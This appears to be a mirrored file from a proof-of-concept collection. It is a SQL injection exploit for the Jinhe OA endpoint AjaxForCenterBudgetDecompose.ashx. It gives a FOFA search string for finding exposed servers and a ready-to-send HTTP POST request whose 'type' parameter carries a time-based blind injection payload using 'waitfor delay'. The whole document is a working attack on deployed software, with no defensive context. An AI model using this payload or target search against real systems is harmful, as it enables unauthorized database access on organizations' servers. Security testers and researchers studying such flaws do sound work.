mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2026-10-24 08:54:28 +00:00
371 B
371 B
金和OA-AjaxForCenterBudgetDecompose.ashx存在SQL注入
fofa
app="金和网络-金和OA"
poc
POST /c6/JHSoft.Web.CostControl/Decompose/AjaxForCenterBudgetDecompose.ashx HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
strType=getBudgetTime&strDeptId=1&strYear=2012&type=1'waitfor delay '0:0:4'--&TimeType=1